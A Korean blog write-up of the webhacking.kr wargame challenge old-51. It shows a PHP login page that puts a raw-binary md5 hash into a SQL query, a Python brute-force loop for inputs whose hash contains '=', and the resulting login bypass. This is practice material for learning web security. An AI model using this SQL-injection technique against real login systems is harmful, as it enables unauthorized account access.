본문 바로가기

웹해킹/webhacking.kr

old-51 롸업(webhacking.kr)

문제 창이다.

id와 pw를 제출하는 폼이 있다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body bgcolor=black><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
  if($_POST['id'] && $_POST['pw']){
    $db = dbconnect();
    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
    if($result['id']) solve(51);
    if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
  }
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font color=silver>
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>

 

구성 코드이다.
result[id]가 있기만 하면 solve(51)이 실행된다.

id는 admin으로 고정되어야 할 것 같고 pw에서 injection을 해야 할 것 같다.

 

pw가 md5의 true로 인코딩이 되는데 true 옵션이 있으면 raw 바이너리로 출력해준다.

raw바이너리로 출력이 되면 특수문자가 나오는 경우가 많아서

pw를 인코딩 한 값이 '=' 문자가 되도록 하는 pw값을 찾으면 된다.

'or' 숫자가 되어도 풀리지만 5글자를 만족시키는 값보다 '=' 3글자가 맞는 값을 찾는것이 훨씬 빠르고 쉽다.

import hashlib
for i in range(0, 1000000000):
    if b"'='" in hashlib.md5(str(i).encode()).digest():
        print('Found: {}'.format(i))

이렇게 찾아보면

값들이 쭉 나온다.

id에 admin, pw에 1839431을 넣어주면

풀린다.

'웹해킹 > webhacking.kr' 카테고리의 다른 글

old-54 롸업(webhacking.kr)  (0) 2023.12.10
old-50 롸업(webhacking.kr)  (0) 2023.12.10
old-34 롸업(webhacking.kr)  (0) 2023.12.10
old-33 롸업(webhacking.kr)  (0) 2023.12.08
old-32 롸업(webhacking.kr)  (0) 2023.12.08